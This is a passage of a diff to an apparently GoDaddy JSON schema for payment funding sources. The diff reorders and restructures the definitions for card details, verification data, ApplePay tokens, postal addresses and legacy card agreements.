compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } - } + }, + "title": "Token Verification Data", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" + "description": "Discriminator type representing the type of verification data", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "Verification Data", + "type": "object" } - } + }, + "title": "Payment Token Funding Source", + "type": "object" } ], + "description": "GoDaddy Card-on-file Funding source", "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, "cardDetail": { - "description": "Card that was used with the Godaddy payment token", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", + "description": "Details of the card used for processing transaction", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." + "x-currency-type": true, + "x-custom-type": true }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "encrypted": { - "type": "boolean", "default": true, "description": "True if the card number is encrypted", + "type": "boolean", "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, "entryDetails": { - "description": "Card entry details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", + "description": "Details on how the card is used during transaction", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", + "customerPresent": { "default": false, - "writeOnly": true + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, "entryMethod": { - "type": "string", "description": "Entry mode for the card", "enum": [ "KEYED", @@ -2995,210 +3032,205 @@ "CL_MSR", "ICC", "CL_ICC" - ] + ], + "type": "string" }, - "customerPresent": { + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" }, "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Interac Mac details of the Payment card", "properties": { "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "description": "Interac mac details for canada based cards", + "type": "string" }, "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "description": "Interac mac key serial number for canada based cards", + "type": "string" } }, "required": [ "interacMac", "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + ], + "title": "Interac Mac", + "type": "object" }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" }, "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", "$defs": { "LegacyCardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } - } + }, + "type": "object" }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." + "type": "object" }, "LegacyCardAgreementMetadata": { - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." + "type": "object" }, "LegacyCardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -3207,29 +3239,35 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" }, "LegacyCardKeyData": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", "enum": [ "WCK", "WAEK", "WMACK" - ] + ], + "type": "string" }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } + }, + "type": "object" }, "LegacyCardType": { - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -3248,135 +3286,97 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + ], + "type": "string" } }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", "properties": { "cardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] + "type": "object" }, "cardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -3385,73 +3385,74 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" }, "cardHolderFullName": { - "type": "string", "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, "cardId": { - "type": "string", - "description": "The uuid of the card created" + "description": "The uuid of the card created", + "type": "string" }, "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" }, "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" }, "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" }, "id": { - "type": "integer", - "description": "The id of the card created." + "description": "The id of the card created.", + "type": "integer" }, "issuer": { "type": "string" }, "key": { "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", "items": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } - } + }, + "type": "object" + }, + "type": "array" }, "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" }, "numberHashed": { "type": "string" }, "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" }, "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -3470,490 +3471,486 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] + ], + "type": "string" } - } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" } }, "required": [ "type", "number", "source" - ] + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } } - } + }, + "title": "GoDaddy Payment Token", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/applepay-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePay Payment Token", - "type": "object", - "description": "ApplePay Funding source", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", "description": "Payment Token Funding source", "properties": { "verificationData": { - "description": "Verification data", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", "description": "Verification data for the card used as funding source", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" }, "buildingName": { "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" }, "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, "threeDSecureData": { "description": "3d secure data information", - "writeOnly": true, - "type": "object", "properties": { - "eci": { + "cryptogram": { "type": "string" }, - "cryptogram": { + "eci": { "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } + }, + "title": "Card Verification Data", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", "description": "Verification data for the token used as funding source", - "type": "object", "properties": { "billingAddress": { - "description": "Address for verification", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is 